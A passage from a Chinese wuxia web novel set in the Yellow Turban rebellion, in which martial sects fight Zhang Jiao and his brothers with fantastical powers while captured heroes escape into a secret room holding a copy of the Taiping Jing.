“先跟着他吧,见机行事。”蔡彧说道。 江雨潇回头看了看枯恂、苏起,两人都点点头。 “那万一,这人若不是张角,又将如何?”苏起说道。 “那不如,咱们兵分两路吧,一队继续前往冀州,一队轻功好的和我跟紧这支队伍。”韦凌峰说道。 当下,队伍分出两队,蔡彧、苏起等人一队继续往帅府前进。韦凌峰、枯恂、江雨潇三人则盯紧那队精锐。 “走慢点,走慢点,到了宛城,难不成,要以疲敝之师迎战官军精锐?” “好了好了,时候不早了,该搭伙做饭了,这饭菜可得烧熟些,若是还得将士们吃坏了肚子,我可饶不了你们。” …… 昭相雪一路哔哔奈奈的,话一大堆,看似为将士们着想,其实是在故意拖慢行军速度,好置宛城守军于孤立无援的地步。 “李将军,到下一个城敦还要多久啊?”昭相雪假意问到旁边将士。 “回昭帅,至少要两个时辰吧。”那将士答道。 “两个时辰,不行不行,太久了,那我得去方便一下,你们等等我,原地休息。”昭相雪捂着肚子,假装内急要上厕所。 “是。” 昭相雪走后,几个将士议论纷纷。 “刚才不是才休息过嘛,怎么现在又要休息。” “是啊,一天要上茅厕五六次,还专挑赶路的时候去!” “可不是嘛,都说兵贵神速,他倒好,生怕我们走快了!” “梁将军保举的,岂能有差,军师自有安排,我等切莫再嚼舌根!免得惹来杀身之祸。” 丛林之中,昭相雪哼着小曲,逗着蚂蚁,悠闲自得。突然几个蒙面人从林中闪出,一人提剑过来,直取昭相雪,昭相雪穿着厚重铠甲,跑是跑不掉的,只得应战,伸手取刀,才发觉佩刀没带!没办法,铠甲重的要死,九劫刀再随身携带,那可就寸步难行了,面对江雨潇与韦凌峰的夹击,很快便败下阵来,被江雨潇一脚踢倒在地。 昭相雪吐了口灰,十分狼狈:“你们是什么人?是不是有什么误会啊。” 江雨潇不屑道:“名震天下的大贤良师,也不过如此嘛。” 昭相雪一听,大概知道了事情原委:“误会啊,误会,我不是张角!”余光一扫,看见了枯恂,大喜:“枯兄,救我啊。” “怎么是你?”枯恂看了昭相雪大惊。 …… 一番解释后,江雨潇放下了剑,对昭相雪赔礼道:“对不起,方才多有得罪。” 昭相雪笑道:“没事,一场误会而已,小事小事。”,你问我江雨潇莫名其妙打了昭相雪一顿后,昭相雪为什么还满脸笑容?不笑能怎么办,没带兵刃,打又打不过! “昭兄,即是误会一场,我们还有事,就此别过了。”枯恂作揖道。 “嗯,就此别过。”昭相雪也作揖道。枯恂等人正要走,哪知,马蹄声起。又一队黄巾军杀到。军旗上写着四个大字——地公将军,正是黄巾贼将——张宝。 “何人在此喧哗!”张宝旁边的副将朝枯恂几人喊道。 “昭言?”张宝看着昭相雪认出了他,且刚好看见他向另外三人作揖道别。 “不好,快跑。”韦凌峰大喊道。几人想要逃跑,但张宝早已派兵将此地围起。除了轻功了得的韦凌峰跑走,其余人等皆被活捉。 “昭言,妄我三弟如此信任你,保你为军师,你却这般不识抬举,竟敢勾结外贼!”张宝指着昭相雪数落道。 “废话少说,要杀要剐,悉听尊便!”昭相雪自知插翅难飞,硬气说道。 江雨潇听了这话,很是赞同,浅浅一笑,也说道:“对,要杀便杀,要剐便剐,何须多言!”枯恂则满脸无语,内心想着,我可不能被剐了,我都二十有七了,还没谈过恋爱呢!可不能就这么的白活了!得想个办法带江姑娘、昭兄弟跑出去才行。 没等枯恂想明白,张宝便吩咐道:“把他们三个给我抓起来,押到地牢去!” “我倒要审审,你们潜伏在我太平教,意欲何为!” 另一边,孤殇他们已和先潜队在冀州汇合了,这时,韦凌峰赶来。 “韦凌峰,你干嘛去了,你个先潜队的,怎么比我们还慢!”张延问道。 “大哥,大事不好了,枯恂兄弟和江雨潇姑娘被那地公将军张宝给抓了!” “什么?!”青菱师太大怒。 “恂儿?到底怎么回事啊。”孤殇一脸担忧,却也一脸懵逼。 韦凌峰将事情原委告诉众人。 于婉脱口而出道:“啊,那昭相雪这次不是死定了!” 青菱师太问道:“婉姑娘,你不关心你师兄枯恂的安危,怎么关心起一个外人来。” “谁说我不关心师兄了,孤师叔,沧海方丈,我看事不宜迟,我们应该马上去找张角,和他决一死战!逼他放了二师兄和江姑娘,还有,那位昭兄弟。” 沧海方丈:“嗯,事不宜迟,立刻出发。” 于吉:“哎,沧海方丈,不如咱分头行动吧,你们去找张角,我去找枯恂他们,若能提前救出他们,也省得他们受皮肉之苦。” 沧海:“也好,那就分头行动吧。” 于婉道:“师傅我也去!” 于吉道:“你就别凑热闹了,你轻功不好,去了反成累赘” 苏起道:“那我去吧,我轻功还行,说不定能帮上忙。” 于吉道:“好,走吧。” 张宝刚回到冀州府邸,便得知有百余名武林高手潜入了张角帅府,慌乱下,张宝将江雨潇等人关在了自己府邸,留下些人看守,便带着大部队往帅府救去。 第二十三章 地公将军 只见张角帅府此时正分为两个阵营,一边是以张角、张宝、张梁三人为首的太平道精英,另一边则是以沧海方丈、孤殇、青菱师太为首的七大门派精锐。而帅府外,则又包围着几千黄巾军,只等张角号令,便可随时杀入帅府。 “沧海方丈,我去司州传教时,曾进过你们白马寺,不知方丈可还有印象。”张角对沧海方丈说道。 “当然记得,那大概是在八年前吧,当时我还敬你是个救死扶伤的好道士,没想到今日却干起这等劳国伤民的反贼勾当。想来,救死扶伤也不过是你传教的手段罢了,汝实属反贼也!”沧海怒骂道。 “哈哈,反贼?苍天已死,黄天当立,岁在甲子,天下大吉!如今我即是天,你们才是反贼!”张角自诩道。 “休得胡言,看枪。”懒得听他们废话,张延提起长枪,直取张角。 “我来会会你。”张角座下弟子眭固也提起枪来,和张延对打起来。 两枪交战才几余合,张延便直接将眭固的长枪挑飞了,接着便要提枪刺杀眭固,这时,张宝长剑一挥,风云突变,落叶四起,如利箭一般,朝七大门派射去,张延处在阵前,更是被风吹得睁不开眼,张宝见了长剑又是一挥,张延被剑气打伤,往后退了几米,韦凌峰赶忙上前,扶着张延后退。 “我来会会你。”只见孤殇提剑走出了队列。 张宝不屑道:“手下败将耳。” 张宝虽嘴上这样说着,却看向张梁,小声说道:“此人功法诡异,三弟,你待会儿可得帮帮我。”张宝一边说着一边往耳朵里塞了些东西。 张梁:“放心吧,有我在。” 孤殇拔出了玄冥剑,张宝讽刺道:“剑是好剑,不过用他的人,剑法好不好可就不知道了!” “比一比不就知道了吗?”孤殇也不客气,摆出一副攻态。 “看剑。”张宝长剑一挥,一股剑气直袭孤殇,孤殇也挥出一剑,两股剑气相撞,剑风向两边散去。张宝再挥几剑,皆被孤殇挡下,看来两人内力相差不大,光凭剑气,怕是分不了胜负,于是两人都选择直接近身比比剑术。 两剑相撞,孤殇的宝剑似乎更占优势,才打了七、八回合,张宝的剑便直接被孤殇的剑削去一半,张宝急闪躲过,趁孤殇来不及收剑,张宝直接用断剑刺向孤殇,孤殇见势危,一时又收不回宝剑,于是急提左手向前一挥,因为张宝是断剑,所以孤殇挥出的左掌正好打到张宝的剑把手,断剑随即被拍落在地,哪知张宝急中生智,本是握剑的右手顺势直接拉着孤殇左手,向外一扯,接着,左手挥掌朝孤殇侧身狠狠打去,孤殇大惊,但他好歹也是凌云谷的大长老,这点儿花招,怎么可能伤得了他,也不示弱,反手便抓住张宝右手,向另一边扯,扯完迅速松手,向旁急闪,同时,右手提剑再是一挥,不仅躲过张宝一掌,剑气还将张宝打伤。 两人各自后退了几步,张宝施用功法,压在刚才剑气所伤处,张角又扔给张宝一把长剑,张宝接下剑,想到,直接比剑,不但剑不及孤殇好,剑术也差点,索性还是比法术。 “地裂山崩!”张宝长剑朝前挥了几挥,大地竟莫名震动起来,几个屋顶上的瓦砾更是哗哗作响,直往地上掉去,一股神秘的力量又将所有碎瓦聚在一起,朝孤殇砸来。 孤殇见势也不躲闪,急施剑法“凌空剑法第七式——七元归一!”七把剑灵从玄冥剑中飞出,直击那堆碎瓦,快相撞时,七把剑气合为一体,形成一柄巨剑,直接穿破了那堆碎瓦。 但此时,地仍在震动着,瓦片还在不断碎落,张宝握剑向前又是一挥,另外两堆碎瓦夹杂着飞石等朝张宝身前聚来,汇成一个更大的碎瓦球,两股功法向撞,张宝的功法竟更占上风,将孤殇的剑气直接打散了。 大地的震动稍微缓和了些,但此时,帅府里,已经形成了很多碎石堆了,大小不一,材质不一,掺杂着碎瓦、碎石、碎木等。张宝长剑又是一挥,碎石堆尽数向七大门派的人袭去。七大门派的人,都是武艺高强的侠义之士,纷纷拿起武器,使用功法防身,只有少数人躲闪不及,挂了彩。原来,张宝之所有号称“地公将军”,正是因为他能控制地上的飞石黄土。 当下孤殇见状也不再拖了,玄冥剑起,直接挥散身前碎石堆,提剑直取张宝。 张宝见势,只得拼一拼了,为防剑再断,索性将内力全灌注在剑上,孤殇见了也不犹豫,也将自身内力全灌注在剑上,他倒想比一比,谁的内力更雄厚。两剑相撞,两股内力很快便牵扯起来,孤殇修炼了几十年,自以为张宝不是对手,却忘了张宝修炼的《太平经》,内功诡异、霸道得狠,两股内力相对许久,孤殇竟渐渐支撑不住,冷汗直冒,但张宝的内力却丝毫没有减弱的迹象,虽是如此,但张宝看起来却比刚才更为疲惫了,竟吐了几口血出来。 这时,一旁的张梁坐不住了,心急如焚,张梁并没直接出手,而是拿出一个笛子吹了起来。张角见了,赶紧拿出两个塞子堵住耳朵,身后的黄巾小兵们也纷纷捂住耳朵。七大门派面面相觑,不知为何?只有空涧庄的蔡彧看出了端倪,大喊道:“快堵住耳朵,别听!”蔡彧一边这样喊,一边从背后取下背着的琴,但琴还没架好,笛音便已传来了,初听倒是极为悦耳,令人心旷神怡,但再一细听,只觉嘈杂无比,令人情绪波动极大!七大门派中,内力低下,心志不坚定者,听了笛音后,竟然直接拿起武器攻击起同门来,场面一度失去控制,非常混乱。 而本就虚弱的孤殇听了自然抵挡不住这诡异的笛音了,吐了几口鲜血后,剑上的内力直接尽数消散了,接着,便被张宝的剑上的内力震倒在地。所幸,沧海方丈神志还算清醒,轻功一施,上前扶回孤殇。 此时,蔡彧也架起了琴,悦耳的琴音响起,笛音弱了许多,人们也渐渐恢复了些理智,但还是有不少人受伤了。而另一边的张宝,虽然勉强打败了孤殇,但却看起来无比虚弱,整个人显得很颓废。原来,这《太平经》之所以霸道,正是因为学习这种功法的人,在和人拼内力时,如果内力不足,它会将体内的精血化为内力继续比拼,直到一方倒下为止。 第二十四章 人公将军 当下,琴声与笛音夹杂在一起,难分高低,众人神志逐渐平息了些,蔡彧对一边弹一边对众人说道:“大家捂好耳朵,接下来可没这么简单了。” 众人一听,纷纷找东西捂住耳朵,张梁见笛音失去功效,大惊,更加急着进攻,只听笛音愈加嘈杂,愈加混乱,蔡彧受到了笛音的影响,眉头紧锁,竟也开始有些心神不宁了。但他立马平复下心情,更换琴调。 “吹这么急的调子想扰我心神,好,那我就弹个更急的调子盖过你!”好歹空涧庄也创派二十几年了,张梁满打满算也不过才十年而已,所以,这点技术蔡彧还是有的,琴音再起时,顷刻间便扭转了颓势,琴音直接盖过了笛音。 眼看调子被蔡彧盖过,张梁有些慌了。自知,此人琴艺高深,比音法已经比不过了,索性还是比内力、比法术。只听张梁调子未变,但空气中却突然夹杂出百多道气波来,向七大门派的人袭去。众人或举剑格挡,或施展身法躲过,而一些人在之前张宝的攻势下,本就受了伤,如今躲闪不及,又被气波击中,伤得更重了些。 “比内力?好,奉陪到底!”蔡彧心里吐槽道,显然他对自己的内力,还是有一定自信的。蔡彧随手往前拨了几下,只见几股气波从古琴中飞出,直袭黄巾军,这些气波可比张梁的那些气波大多了,只不过数量上少了些。 只见蔡彧的琴音波如秋风扫落叶一般,将张梁的笛音波尽数打散。 张梁一边躲,一边使用笛音波还击,黄巾军中,武艺平平者,或逃跑,或被气波当场击倒。 后面的张角急了,大喊道:“三弟,快用那招啊!” “好”张梁点点头后,将自己的大量内力注入笛子内,将内力注入武器里,本是常见的招式,但另人费解的是,大部分人的内力一般都是青色或无色,但张梁的内力确是红的,血红的那种。 蔡彧眉头紧锁,焦躁难安,但又说不出哪里不妥,索性弹的更急些,接着数十股气波直取张梁,但,为时已晚。张梁的笛子里突然冒出了几股似雾非雾的血色气体,向四周散去,姑且称它为血雾吧。更诡异的是,蔡彧的几股气波碰到血雾后,竟然直接被血雾给吞噬了,同时血雾飘忽不定,风往哪儿吹,它就往哪儿飘,一些血雾飘到张梁身后黄巾兵身上后,黄巾兵们直接倒地,且满脸颓废,一副身体被掏空的模样。 张角见了,急施功法,瞬息间,风云突变,一阵大风将血雾刮向七大门派。七大门派虽不知血雾具体能干嘛,但幸好刚才看见了那些黄巾兵碰到血雾后便倒地的情景,所以,都不敢放松。众人想跑,但里三层外三层全是黄巾贼,又能往哪儿跑呢? 好在张梁在释放完血雾后,瘫倒下来,像是受了重伤一般,若不是张角搀扶,想必会直接倒在地上。 张梁倒后,蔡彧本想趁机用琴音进攻,但血雾已朝这边袭来,才刚接触血雾,内力便突然骤减,仿佛是被那雾气吸走了一般。蔡彧不敢停留,立马收起琴,退回阵去。 “大家小心,那血雾能吸走人的内力!”蔡彧对众人说道。刚说完,风更大了,血雾瞬间吞没了七大门派,万幸这些人都是七派精英,内力都不差,还能抵挡会儿。 “沧海方丈,你行走江湖几十年?这到底是什么东西啊?”青龙帮关伟只精武艺,内力相对较差,被这血雾呛得十分难受,焦急的问沧海一粟。 “这、这,好像是血吧!”沧海也是一脸难受,不知所措,想来,他行走江湖几十年,并未遭遇过这等怪雾。但空气中,却有一股浓厚的血腥味,很是刺鼻。 百药宗的杜济看了杜冥一眼,杜冥也正看着他,两人四目相对,冷哼一声,不约而同的行动起来,只见两人快速从包里拿出一些白色粉状物来,直接向空中撒去,血雾接触到了这些粉末后竟然化作一些小颗粒落下地来。 张角见了大惊,看了看一旁虚弱的张梁,顿时气愤不已。原来这血雾,乃是张梁用精血幻化成的,精血为大平道的霸道内力提供后备能源,简单来说,血液与内力夹杂在雾气中,形成血雾,吸入血雾的人,自身的内力会与太平道的霸道内力缠斗,理论上讲,自身的内力肯定是远远大于外来的这一点点内力的,但太平经十分霸道,短时间内会堵住人运行内力的阀门,给人营造出一种内力已然枯竭的假象。 所幸,杜冥、杜济两人虽不知道众人内力为何“减少”,但却能将这血雾及时散去,两人向空中撒的粉末乃是白芨粉,这种粉末可以加速凝固血液,血雾一碰白芨粉便凝固成了小颗粒掉落地上,血雾便跟着散去了。 血雾虽然已经散去了,但七大门派的人多多少少还是损失了些内力,所幸杜济杜冥发现得及时,不然长久浸泡在血雾中,张角再出手,怕是得直接团灭了。 张角看着受伤的二弟、三弟,恨得气不打一处!手执法杖往地上猛的一敲,朝众人吼道:“不知死活!”“太平道的弟子何在,给我杀了他们。”张角一声令下,里外的黄巾军皆蜂拥上前,攻击七大门派。七大门派也不慌乱,在沧海方丈的指引下,分成了两部分,一部分去守大门,防止外面的人进来,另一部分则负责对付里面的黄巾贼,如今,黄巾军声势虽大,但只要杀掉眼前这个张角,这群黄巾贼便会群龙无首,自行散去。 虽然帅府的黄巾贼很多,但都是些乌合之众,哪是沧海方丈他们的对手,半柱香的时间不到,大半部分黄巾贼将便被武林精英击倒在地,而帅府外的大队黄巾军此时又被关伟、张延、青菱师太等人堵在门口,一时进不来。 如今,张宝、张梁都受了重伤,能威胁到七大门派的,估计只剩下张角一人了。而七大门派这边,经过一番混战后也都有些疲惫了。 “张角,你还有什么能耐?尽管使出来吧!”沧海方丈握着禅杖走出队列。沧海方丈状态还不错,内力损耗不大,估计还有七成左右。 “老和尚,这帅府之外,可是围了几万的黄巾军,你若是识相的话,就该跪在地上,磕头求饶,或许,我还能饶你一命。”张角也不知哪儿来的底气,在这巨大的颓势之下,丝毫不慌,竟还敢刺激沧海方丈。 “废话少说,一较高下吧!”沧海一粟提杖直取张角。张角也不再啰嗦,提起法杖迎了上去。 第二十五章 瓮中之鳖 张宝府邸: 当下,枯恂、江雨潇、昭相雪三人都被绳索绑着,关在府内私牢之中。这等把戏,枯恂丝毫没有放在眼里,只见,枯恂显摆道:“这种破绳,我随随便便的施个功法便能弄破。” “枯兄如此神通?”昭相雪满脸惊奇外带些许期待,然而一旁的江雨潇却是满脸看笑话的表情。 枯恂也不再多说废话,心中默念凌空剑法第四式口诀,霎时间,空气中一柄气流剑形成,看似虚剑,实则不然。 看那柄飞剑锋利无比,坚硬非凡,似乎真能有所作为,当下枯恂一个手势,那柄气流剑往他捆绑的绳索处砍来。 然而,现实好像跟想象中的有些不一样,那柄气流剑不仅没劈开绳索,反而被绳索给打散。 “哎,不可能啊,我这气流剑,可是连师叔的酒坛子都能打破的,没道理割不开这破绳子啊,难不成,这破绳比那酒坛还硬?”枯恂一脸懵逼。 昭相雪憋着笑意,也不讲话,给兄弟留个面子。 江雨潇讽刺道:“这能一概而论吗?绳索虽然不及酒坛坚硬,但韧性绝不是酒坛能比的好吧。” 枯恂还想争辩,但事实摆在这儿,他的气流剑,并没有劈开绳索,场面一度很尴尬。 昭相雪脑筋一转,似乎想到了些什么:“枯兄,你那气流剑虽不能直接割开这绳索,但如果我没猜错的话,它应该能在空气中托起一些物体吧。” “昭兄的意思是?” 昭相雪也不回答,眼神往那边角落扫了扫。 枯恂和江雨潇顺着昭相雪目光看去,只见那角落里摆了个空酒坛和两个空碗,想来是曾经有人在这里偷喝过酒,喝醉了忘记收走了。 江雨潇看着枯恂笑了笑:“看你表演了!” “没问题!”枯恂再施功法,只见一柄气流剑又凭空形成,气流剑飞向那角落,将酒坛托起往地上一砸,坛子瞬间摔碎,接着气流剑带着碎瓦飞过来准备割开三人身上的绳索。 这时,房门突然打开了,原来是外面的黄巾兵听到里面有动静,都跑进来查看了。一共五个黄巾兵,个个拿着大刀,凶悍恶狠。 “怎么回事。”为首的黄巾兵厉声问道。 “没什么事啊。”枯恂赔笑道,表面上说着没事儿,背后正悄悄施用功法托着碎瓦割绳子。 几个小兵扫了扫地上的三人,见三人都端坐在地,没什么异样,便平和下来,正欲离去时,一小兵往角落一扫,看见了那堆碎瓦:“大哥,你看那边。” 为首的兵长顺着那小兵指的方向看去,发现了那堆碎瓦,眉头紧锁:“找死!”话罢便举起大刀欲砍枯恂,千钧一发之际,绳索终于断了,此时刀已至身前,枯恂也不躲闪,右掌灌入内力,猛的往前一拍,直接将那刀拍成两半,接着往前又是一掌,掌风直接将那兵长震倒在地。 后面几个士兵赶忙上前帮忙,然而他们哪是修道十几年的枯恂的对手,枯恂一个扫堂腿直接干翻面前两人,两掌再向前一挥,后面的两人亦被击倒在地。 五人自知抵挡不过,连滚带爬的向房外跑去,枯恂正欲追赶,后面昭相雪喊道:“先救下我们啊。” 枯恂尴尬一笑,替两人都松了绑。 刚出房门,只听院外一阵嘈杂声响,想来是那几个逃走的士兵叫来了帮手。 “往这边走吧”枯恂施展轻功,跳到房顶上,往后边逃去,江雨潇看向昭相雪:“你轻功如何?” 昭相雪笑了笑:“正道还行,飞岩走壁,有点难度。” 江雨潇也不多话,牵起昭相雪飞上屋檐,向外逃去。 院外的黄巾军发现后,都叫喊着朝他们追去。只见黄巾军从四面八方围来,越聚越多,枯恂等人误打误撞,竟跑到张宝的书房外来。当下黄巾军将这边围得水泄不通,三人正欲拼杀突围,只见黄巾军们大部分用布料包着口鼻,拿着竹筒朝枯恂他们吹着迷雾。 “不好,是迷魂香!”枯恂见状急忙退回,三人赶紧用手捂住口鼻,无奈之下,闪进张宝的书房里,关紧了门窗。此时三人可谓是瓮中之鳖,进退不得。 这时,房外传来声音:“把他们给我看紧了,千万别放跑了,我这就去禀告地公将军” “完蛋了,他们要去请那个死变态了。”枯恂口中这个变态,自然说的是抓住他们的那个地公将军张宝,刚才众人被围时,还没出手,便被张宝招来四方碎石将全身压住,动弹不得,完全不给操作机会。 “不行,咱们不能坐以待毙,等张宝来了,咱们都得死,咱们得杀出去!”枯恂说着便要出去拼杀。 江雨潇一把拉住他:“你要拼也得等毒气散了拼啊,现在外面全是迷魂散,咱们出去不是自投落网吗?” 枯恂听了这话,想想也对,也就停下冲动,突然他又说道:“哎,我们像那些黄巾贼一样,也找些破布捂住口鼻不就没事了吗?” “可以啊,破布哪儿都有,但水呢?不沾水,还不是防不了毒。”江雨潇 枯恂道:“非要用水吗?咱们可以……” 两人正话间,昭相雪不小心将一个宝瓶摔碎了,瓶子破碎的声音立马引起了两人注意。 “不好意思哈”昭相雪赔笑道。 这时,只见书房中最里层靠墙的书架居然动了起来,那书架往旁边移动,竟出现一个入口。说来也巧,原来是那个瓶子掉下来正好砸中了地上开门的机关。 “暗道?”枯恂一看来了兴趣。 “走,看看去。”江雨潇警惕的拔出剑,走入密室。枯恂见了赶紧跟上,昭相雪也紧随其后,没有落下。 三人刚进密室,那面书架伪装的墙便立马关闭,枯恂见了,立马伸手去推,但用尽了全力,那面墙仍然是纹丝不动。 第二十六章 大贤良师 “别试了,我们没有信物,这门是打不开的。”江雨潇看着旁边墙上的小机关说道,这个小机关正是控制大门开关的,而这个机关缺少的部分,想来正是这密室主人持有的信物,没有这个信物,自然打不开密室。 “哎,那边好像也有个暗门。”昭相雪指着密室的另一边,看起来,倒确实是个暗门,只是那道暗门旁边同样有个机关,走近一看,和这边这个简直一模一样。 “完了,两道门都要信物!”枯恂语气有些绝望。 江雨潇低下头,小声说道:“对不起,是我害了你们。” 枯恂安慰道:“没事儿,不怪你。师傅他们一定会来救我们的,别怕。” 江雨潇仍然内疚着,低头不语。 昭相雪目光往旁一扫,发现地上有本书,捡起了一看,是一份手抄版的经书,也没写书名。 枯恂随口问了句:“什么书啊?” 昭相雪翻了翻:“不知道,好像是别人手抄的,没写书名。” 枯恂也不再多问,此时的他正专心琢磨着如何安慰情绪低落的江雨潇,如何使他们的关系更进一步。 昭相雪虽不知是何书,但当下无聊,便瞎翻几页,慢慢看了起来,看着看着,只觉全身炽热无比,以为是密室空气不流通,胸闷而已,也没在意。他哪儿知道,这本手抄书,乃是张宝手抄的《太平经》! 帅府: 沧海方丈与张角的比拼,胜负已分,只见沧海方丈正用右手捂着胸口,禅杖也落在一旁,想必是与张角的比拼之下占了下风。 “秃驴,你的杖法,已被我破解了,还有什么本领尽管使出来吧!”张角手持法杖讥讽道。 “想不到,这大贤良师功法如此高深,沧海方丈的渊龙杖法竟敌不过这个邪道士?”韦凌峰叹息道。 “并非杖法不敌,张角武功平平,他能赢沧海,靠的是他那霸道的内功。”孤殇在于婉的搀扶下说道。 接着,孤殇低下头惭愧道:“事到如今,我得向各位同道坦白一件事,张角他的功法其实是偷学于我派的《太平经》” “《太平经》?”各派听了皆面面相觑,小声议论。 蔡彧惊道:“《太平经》百年前不是被苍玄大师封藏于凌云密阁了吗?”。 孤殇惭愧的低下头:“说来惭愧,因看守不当,此书于十六年前被偷走了。” 众人一听,士气大落,你看我,我看你,没个对策。 见士气低迷,蔡彧赶紧鼓励道:“大家别怕,《太平经》的功法虽然霸道,但我们人多,一起上,他张角未必能挡!” “对,大家一起上!”一青龙帮弟子附和道,以多敌一,这事可不光彩啊,但在神功《太平经》面前,一切都马虎不得。众人也不迟疑,都冲上去支援沧海方丈。 张角见了丝毫不慌,反而大笑:“哈哈,那就一起上吧!”笑脸过后是凶恶的杀气,让人不寒而栗。 “以我精血为引,以我肉身为躯,天雷!寂灭!”张角吼道,霎时间风云突变,狂风骤起,刚才还一片晴朗的天空顿时布满乌云,云层中还夹杂着闪电。 孤殇着急提醒道:“大家小心,注意躲避闪电,这是太平秘法第六重,万雷轰顶!” 沧海方丈大惊道:“万雷轰顶?孤长老的意思是,张角有驱使雷电的能力?”,驾驭风雷可不是谁都能行,至少御境二阶才能修炼这等功法,而场上七派修为最高的好像也才御境三阶!话音刚落,只见天空中一道闪电劈落下来,沧海方丈急闪躲过,众人见状大惊,还没缓过神来,更多的闪电朝七大门派击来。 “大家快分散开,找些东西掩护好自己!”赤影帮韦凌峰一边向旁闪躲,一边对众人说道。 落雷虽然威力巨大,但准头却不行,此次前来的都是高手,大家施展好轻功,还是能巧妙躲开的,不过院子场地太小,遇到几道闪电集中在一处的,肯定是躲闪不开的,只能施展内功用尽全力将其击散,若内力不足,只能是当场毙命,像赤影帮和青龙帮的弟子,他们主修武术,内力相对薄弱,此情此景只得奋力躲开落雷,若是运气不好,被落雷围住,只得等死。 众人刚经过血雾,又经过一阵厮杀,现在又要应付满地的落雷都已经疲惫不堪了,很多人都挂了彩,负了伤,一些人更是中了招,丢了命,伤亡十分惨重。 “这落雷并非天象,不过是张角在控制罢了,大家齐心协力,击倒张角便可破此困局!”孤殇一边说着,一边强撑着要施展功法攻击张角,但法术还没施展出来,便口吐鲜血向前倾倒,所幸于婉一直扶着他,勉强支撑着没有摔倒。 “跟他拼了,上!”韦凌峰一马当先,冲在人前,手中血滴子挥出,直取张角,张角法杖一挥,与血滴子搅在一起,这时,血滴子中暗器弹出,几根毒针直刺张角,张角急忙丢下法杖躲闪,但武术欠缺的张角哪里躲闪得开,眼看毒针将近,马上就要刺中张角了,千钧一发之际,后面飞来两枚飞镖,只听“砰”的一声,飞镖不但将毒针尽数击开,还飞回去击中了韦凌峰。 张角回头一看,身后根本没有帮手,满地皆躺着黄巾伤兵、死兵,还有靠在墙角的张梁、张宝,两人此时都已经伤及经脉、耗费了精血,那两枚飞镖自然不会是他们扔的,但不是他们,谁又能有这等本事呢? 这时,只听七大门派那边杀声四起:“张角,拿命来!”。此时,七大门派都各有伤亡,但正应如此,余下的众人都纷纷勇猛的冲向张角,要为同门报仇血恨。 当下形势已轮不得张角多想,七大门派的众高手皆拼尽全力朝自己冲来。大有同归于尽的气势,张角唯有奋力一搏,才有生机。 此时,乌云已渐渐散去,张角又施展功法,一条黄龙直窜青天。有形无实,乃是太平道的总攻令,外面的黄巾贼党见了,都打起劲来,朝里面展开新一轮攻势,门口把守的虽然都是武林高手,但黄巾贼越聚越多,青菱师太内力越用越少,指法也越来越弱了,张延和赤影帮的弟子也打得很疲乏了,所幸,他们采用的是车轮守卫,关伟和青龙帮的弟子赶紧补上,因为黄巾贼的加多,本该退下休息的赤影帮也只能强撑着继续战斗了,只盼里面的沧海大师他们能早点儿解决张角。 但帅府之内,乾坤未定,谁解决谁还未可知也! 第二十七章 绝世神功 此时,大院之内,张角一人正与七大门派一群人相对,比拼着内力(实际上比拼的只占一部分,像赤影帮和青龙帮还有豫蛇教的弟子基本上都在院外阻挡外围的黄巾贼。)七大门派在人数上虽占据了优势,但他们先经张宝乱石攻击,又经张梁血雾缠斗,再是和院内黄巾贼将拼杀消耗了些,最后又经张角天雷消耗。所以,实力并不算高,从掌门、长老状态上来看,实力最强的白马寺沧海方丈此时内力仅剩三成左右,而凌云谷的孤殇长老内力剩余不到一成,百药宗的杜冥、杜济状态虽然还行,但他们一个主医一个主毒,比拼内力上作用不大,所幸空涧庄的蔡庄主还有五成左右的内力,再加上赤影帮二把手韦凌峰、三把手屠岸冥,凌云谷的于婉等各派高徒,实力总体来说还是可以一战。 反观太平道这边,院内能战斗的,似乎只剩张角一人耳,但张角的《太平经》已练至顶层,内力已然霸道无比。此前也只与沧海方丈小打小闹过一场罢了,内力损耗不过一成,再减去此前施法耗费的两成内力,此时内力还剩七成左右。 沧海方丈与蔡彧并排而立,分别与张角的左右掌相对,其余众人则跟在蔡彧和沧海方丈的身后,向他们传递内力对抗张角,两股内力碰撞在一起,两边都感受到了很明显的冲击,宛若一股气压狠狠的压在众人脸上,地上的碎瓦落叶则在两边胡乱飞舞着。 密室之内: “你的意思是说,青菱师太只来了豫蛇教一周,便晋升为了教主?不会吧,这不合礼法的吧!”无聊的枯恂正在和江雨潇闲聊。 而一旁的昭相雪仍在专注的看着那本手抄的《太平经》,才过去一炷香的时间,昭相雪竟已看完《太平经》大半内容,此时的他身上热气直冒,很是奇怪。 “怎么不合礼法了,也罢,你个外人,跟你说不清楚。” 枯恂一脸惊奇,也不好意思细问。 “太厉害了,我在凌云谷待了十七年了,也不知什么时候才能混个长老当当啊。”枯恂打笑道。 江雨潇一脸嫌弃:“就你?得了吧,你想毁了凌云谷的金字招牌就直说!” 枯恂白了江雨潇一眼,转移话题道:“我看你气质不凡,当个大家闺秀不好吗,为何要加入豫蛇教修炼法术啊。” 江雨潇摇摇头:“我也想啊,可是,我的父母不要我了” “不要你了,怎么会?” “真的,小时候,我随父母还有兄长在外地经商,一次,我们遇到劫匪打劫,管家、伙计十多口人全被劫匪杀了,我和家人跳下马车,拼命逃跑,但还是被劫匪抓住,危难之际,一个大侠出现将我们一家四口救下。” “万幸万幸。” “万幸什么啊,我父母为了答谢那位侠客的救命之恩,在得知那侠客有个十岁儿子后,便要将我送给那个侠客做童养媳!” “啊,这,不至于吧,那个大侠怎么说?同意了?” “嗯,但我不怪那位大侠,这都是那伙劫匪所害!” 枯恂摇摇头,一阵叹息:“我懂了,所以后来你就偷跑出去,加入了豫蛇教,拼命练武,为了自己,也为了杀尽天下匪徒。” 江雨潇点点头:“我江雨潇绝不可能随随便便找个人就嫁了,要我做童养媳,绝不可能!我跟师傅发过誓,此生,要嫁一定得嫁天底下最好的男人!” 枯恂一听,大脑飞速运作:“最好?武功最好吗?” 江雨潇笑了笑,反问道:“你呢,你看起来气质也不凡,为何要加入凌云谷啊。”话罢,瞟了眼旁边的昭相雪。 这时,江雨潇注意到昭相雪身上异象:“昭相雪,你怎么了?没事儿吧?” 枯恂正要介绍自己为何加入凌云谷,但听了江雨潇这话后,也往昭相雪那边瞟去:“昭兄,你没事儿吧!” “没事儿啊,有什么不对劲儿吗?”昭相雪虽然很热,但他并没有当会儿事,只当是密室空气不流通,闷热罢了。 江雨潇担忧道:“你流了好多汗啊” “对啊,你身上为何冒这么多热气,确定没事儿?”枯恂担忧道。 听了这话,昭相雪看了看自己,才注意到身上的衣服早被汗水侵湿。“是空气不流通的原因吧。”昭相雪尴尬的说道。但话音刚落,他便瘫倒下来,在地上滚来滚去,小声的呻吟着,像是腹部受人重击一般。 